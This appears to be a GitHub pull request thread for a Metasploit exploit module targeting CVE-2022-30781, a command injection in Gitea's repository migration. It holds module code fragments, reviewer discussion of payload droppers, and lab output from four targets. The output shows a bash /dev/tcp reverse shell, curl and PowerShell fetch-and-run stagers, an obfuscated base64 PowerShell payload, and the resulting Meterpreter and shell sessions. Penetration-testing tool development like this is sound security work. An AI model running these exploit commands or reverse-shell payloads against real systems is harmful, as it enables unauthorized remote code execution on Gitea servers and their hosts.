      gitea_remove_repo(repo_path(@repo_name))
      gitea_remove_repo(repo_path(@migrate_repo_name))
      print_status("Successfully cleanup repository '#{@repo_name}' and '#{@migrate_repo_name}'")
    end
    

  def exploit
    
    @payload_delivered_cond = new_cond
    

  def on_request_uri(cli, req)
    
    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
      
      send_response(cli, data.to_json)
      synchronize do
        @payload_delivered = true
        @payload_delivered_cond.broadcast
      end

      

Also, I found out Gitea on linux adds some extra characters (' ./') to each part of the payload being written in the .b64 temporary file. I have no idea why and this will require a deep investigation to find a way to get around this.

So, that said, I think all of this is not worth the effort, especially if it takes 40 minutes to get the payload ready. A simpler solution would be to not use bourne cmdstager's flavor, but use the same kind of flavor set for the Windows dropper: getting the payload by downloading it from a custom web server (http://<ip>:8080/payloads). This is exactly what the curl and wget cmdstagers flavors do. Other flavors should be tested too and included to the list, in case curl and wget are not available on the target. So, I believe, using this would work with big Linux dropper payloads:

            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ :curl, :wget,  ], # add other compatible flavors to the list here
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }

With this you can stay with your previous working implementation, without having to migrate/cleanup each time.

@cdelafuente-r7
Copy link
Contributor

Also, yes, you can define datastore['CMDSTAGER::URIPATH'] in exploit like this. I would recommend to move this line to the when :linux_dropper, :win_dropper block, just before calling execute_cmdstager, since only the cmdstager uses this option.

krastanoel and others added 2 commits November 15, 2022 22:17
apply suggestion

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
- adjust execute_command method and add logic for :win_dropper target
- move cmdstager uripath setting into target case statement
- add more cmdstagerflavour for :linux_dropper target
- fix lint msftidy
@krastanoel
Copy link
Contributor Author

%TEMP% can only be expanded by cmd, and since Git passes the command to sh.exe, it won't work. However, sh.exe has a few environment variables set by default, such as $TEMP

Ah apologize for this my eyes playin tricks on me I have no idea how could I miss the $ sign. I've implement your gsub and works well on my end. Also the msftidy fix it a little bit. Thanks.

       'Linux Dropper',
       {
         'Platform' => 'linux',
         'Arch' => [ARCH_X86, ARCH_X64],
         'Type' => :linux_dropper,
         'CmdStagerFlavor' => [ :curl, :wget, … ], # add other compatible flavors to the list here
         'DefaultOptions' => {
           'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
         }
       }
msf6 exploit(multi/http/gitea_git_fetch_rce) > set cmdstager::flavor
cmdstager::flavor => auto
msf6 exploit(multi/http/gitea_git_fetch_rce) > set payload linux/x64/meterpreter_reverse_tcp
payload => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[-] Exploit failed: linux/x64/meterpreter_reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.

Oh this is cool I didn't know that the framework could do this. Learn something new, thanks you!

@cdelafuente-r7
Copy link
Contributor

Thanks @krastanoel for updating this. Everything looks good to me now. I tested against Gitea 1.16.6 both on Linux (Docker) and Windows. I verified a session is obtained each time. I'll go ahead and land it.

I added a comment to explain why all theses string substitution are needed on Windows. This can be useful information for future Gitea module development. I'll add a commit myself since it is just a comment.

Thanks again for your contribution!

Example Output

Gitea 1.16.6 on Linux x64 (docker) - Unix Command target (0)

msf6 exploit(multi/http/gitea_git_fetch_rce) > exploit verbose=true lhost=10.0.0.1 rhosts=127.0.0.1 username=gitea_admin password=123456

[+] bash -c '0<&156-;exec 156<>/dev/tcp/10.0.0.1/4444;sh <&156 >&156 2>&156'
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://10.0.0.1:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/
[*] Adding hardcoded uri /api/v1/repos//pulls
[*] Adding hardcoded uri /api/v1/repos//topics
[*] Executing command: bash -c '0<&81-;exec 81<>/dev/tcp/10.0.0.1/4444;sh <&81 >&81 2>&81'
[*] Creating repository "v9uO5XiW2vHnCFO"
[+] Repository created
[*] Migrating repository
[*] Command shell session 1 opened (10.0.0.1:4444 -> 10.0.0.1:49675) at 2022-11-17 11:53:24 +0100
[*] Server stopped.
[*] Successfully cleanup repository 'v9uO5XiW2vHnCFO'
[*] Successfully cleanup repository '4ryCK0LfKyIfmLZ'

id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
uname -a
Linux b4c4dad78839 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 Linux

Gitea 1.16.6 Linux x64 (docker) - Linux Dropper target (1)

msf6 exploit(multi/http/gitea_git_fetch_rce) > exploit verbose=true lhost=10.0.0.1 rhosts=127.0.0.1 username=gitea_admin password=123456

[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://10.0.0.1:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/
[*] Adding hardcoded uri /api/v1/repos//pulls
[*] Adding hardcoded uri /api/v1/repos//topics
[*] Using URL: http://10.0.0.1:8080/q6CvYv4V0T
[*] Generated command stager: ["curl -so /tmp/hLAqOetk http://10.0.0.1:8080/q6CvYv4V0T;chmod +x /tmp/hLAqOetk;/tmp/hLAqOetk;rm -f /tmp/hLAqOetk"]
[*] Executing command: curl -so /tmp/hLAqOetk http://10.0.0.1:8080/q6CvYv4V0T;chmod +x /tmp/hLAqOetk;/tmp/hLAqOetk;rm -f /tmp/hLAqOetk
[*] Creating repository "zXri2tT"
[+] Repository created
[*] Migrating repository
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Client 10.0.0.1 (curl/7.79.1) requested /q6CvYv4V0T
[*] Sending payload to 10.0.0.1 (curl/7.79.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 10.0.0.1
[*] Meterpreter session 2 opened (10.0.0.1:4444 -> 10.0.0.1:49715) at 2022-11-17 11:55:01 +0100
[*] Successfully cleanup repository 'zXri2tT'
[*] Successfully cleanup repository '1pwAnQIYG'

meterpreter > getuid
Server username: git
meterpreter > sysinfo
[-] stdapi_fs_getwd: Operation failed: 2
meterpreter > cd /
meterpreter > sysinfo
Computer     : 172.19.0.2
OS           :  (Linux 5.10.76-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Gitea 1.16.6 on Windows 11 x64 (docker) - Windows Command target (2)

msf6 exploit(multi/http/gitea_git_fetch_rce) > exploit verbose=true lhost=10.0.0.1 rhosts=10.0.0.42 username=root password=123456

[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://10.0.0.1:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/
[*] Adding hardcoded uri /api/v1/repos//pulls
[*] Adding hardcoded uri /api/v1/repos//topics
[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H{1}sIAEkUdmMCA5VVXW8aORR951dcodnNjAIWoKjqRkpVOk1X'+'kbIt6mSbB{1}QU{1}7mE2Ribt'+'T0BlPDf157xfBASdesHGPteHx+fe2wvcsF'+'MJgX8iaZ/i3PGMxQGOk8dsC3YMLiAr7jpf5v/g8xA/2a3xq90hXbQEJsfF/lVMvlb{1}2dc0JybWGFqIxnl2kIERuVYZ02U3O7Iiww73hqpcjv7zqKiuJYbVLZn2UERn1BFV2H5PU2MysT9LIjlakVF2jscTTRnUrwY/Cw3gkuaFqORx1SSodbgBVjJNOfoCH{1}MIyhTsgWE1TLQx3+hO89E2'+'o2KYDmvmMszbVCgspOnyc5+r{1}hTLZHsAY0mN2x97TNmZ7YdTyTaUGXcun7lIupLdNHKGzOG'+'a2MBy3KEJZX9W3QVPqLSe'+'My{1}hm6V/DXm8cQv1B3+MSLDd+/J8OyMDLs9tw+/eKcUUBuFdOXYluDEGi0pxizLhl9Zn5Ke80rXl6NFTmueVGBv8EOWq8zsSFKlhn79XrCwpsJe+BTcWPQ99KmG6cGc77iSBmNUJltkjBr8QXmWUue8mHI+p+xhFkWv0CHj3Cydbd2ksX5DmUDknPe6huvhqO'+'vptNFqmZpttnWczncGp7NZ{1}P6dHQeEj'+'Aa2Pf/2NNh7qVGkVTicGtwagoLJ1Hn9/HycxFdXkZP/k8sJu7fWtHKjYeKOVbJEzkHl'+'QthssOLk2hq3C6cQoHg8dz3hjv2pHbN1qgNMrt'+'a5aYJ3IpbrncrulwbCOIK/MqaklgsDsVRrqQo9CYzdYi5Jg0KL/YgpuRN3wlvSy0FubWUwbDbWG/SaDrlGcW+WbRdVB7rtoyMb/ZpK09MZXFtIJ{1}u/DEjN89e5VrO+SHVJ2dJyLkEhE/Vl02Q1tF0LD+7oiFS7La+zCil6vhKP8gH7l9u11VZbvWuUfdtSm2XGMQyDrHBduYnvSNOw'+'9FgPBj0IDthH0BcIgyNJL51+mN5YLd96LvwpdSmk0PjSa96g2LNGHZUWmr8sit1VokKQRS+qaY+mK+bRvqFfXXsl+OjD70N{1}hm+56Zeo{1}M1zADWCQpAK+BROJgmc2P9C/2vJCg9HZELN0kU/wEkDsnVEAlRKqulgdrBYi3URJ'+'{1}wjVWH0GoOLdscetW3n2MD/y78NzE8d2zbskV+rOV9{1}rpf1S+gvHn+zx1xq9PspjmP1PrUN0zxaiZHr6qXyv9aZ9SNf186/Vv8B8mfhQaoIAAA{0'+'}')-f'=','4')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
[*] Creating repository "4xwu5oepmW"
[+] Repository created
[*] Migrating repository
[*] Powershell session session 3 opened (10.0.0.1:4444 -> 10.0.0.42:52494) at 2022-11-17 12:00:34 +0100
[*] Successfully cleanup repository '4xwu5oepmW'
[*] Successfully cleanup repository 'kdes6vEzCmmEn'


Shell Banner:
Windows PowerShell running as user n00tmeg on DESKTOP-26CQRHP
Copyright (C) Microsoft Corporation. All rights reserved.
-----

PS C:\Users\n00tmeg\Desktop\gitea\data\gitea-repositories\root\kdes6vezcmmen.git> cd\
PS C:\> whoami
n00tmeg
PS C:\> Get-ComputerInfo | select WindowsProductName, WindowsVersion, OsHardwareAbstractionLayer

WindowsProductName              WindowsVersion OsHardwareAbstractionLayer
------------------              -------------- --------------------------
Windows 10 Pro for Workstations 2009           10.0.22000.778

Gitea 1.16.6 on Windows 11 x64 (docker) - Windows Dropper target (3)

msf6 exploit(multi/http/gitea_git_fetch_rce) > exploit verbose=true lhost=10.0.0.1 rhosts=10.0.0.42 username=root password=123456

[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://10.0.0.1:8080/
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/
[*] Adding hardcoded uri /api/v1/repos//pulls
[*] Adding hardcoded uri /api/v1/repos//topics
[*] Using URL: http://10.0.0.1:8080/Qf2AfITalsV
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\\iythIKvh.exe http://10.0.0.1:8080/Qf2AfITalsV & %TEMP%\\iythIKvh.exe & del %TEMP%\\iythIKvh.exe"]
[*] Executing command: powershell.exe -c Invoke-WebRequest -OutFile $TEMP\\\iythIKvh.exe http://10.0.0.1:8080/Qf2AfITalsV && $TEMP\\\iythIKvh.exe && del $TEMP\\\iythIKvh.exe
[*] Creating repository "vVuGqD"
[+] Repository created
[*] Migrating repository
[*] Command Stager progress - 100.00% done (150/150 bytes)
[*] Client 10.0.0.42 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22000.832) requested /Qf2AfITalsV
[*] Sending payload to 10.0.0.42 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22000.832)
[*] Sending stage (200774 bytes) to 10.0.0.42
[*] Meterpreter session 4 opened (10.0.0.1:4444 -> 10.0.0.42:52564) at 2022-11-17 12:04:59 +0100
[*] Successfully cleanup repository 'vVuGqD'
[*] Successfully cleanup repository 'JiiiEvZp'

meterpreter > getuid
Server username: DESKTOP-26CQRHP\n00tmeg
meterpreter > sysinfo
Computer        : DESKTOP-26CQRHP
OS              : Windows 10 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

@cdelafuente-r7 cdelafuente-r7 merged commit 1ddc137 into rapid7:master Nov 17, 2022
@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Nov 17, 2022
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds an exploit module that leverages a command injection vulnerability in Gitea. Due to an improper escaping of input, it is possible to execute commands on the system abusing the Gitea repository migration process. This vulnerability is identified as CVE-2022-30781 and affects Gitea versions prior to 1.16.7.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

3 participants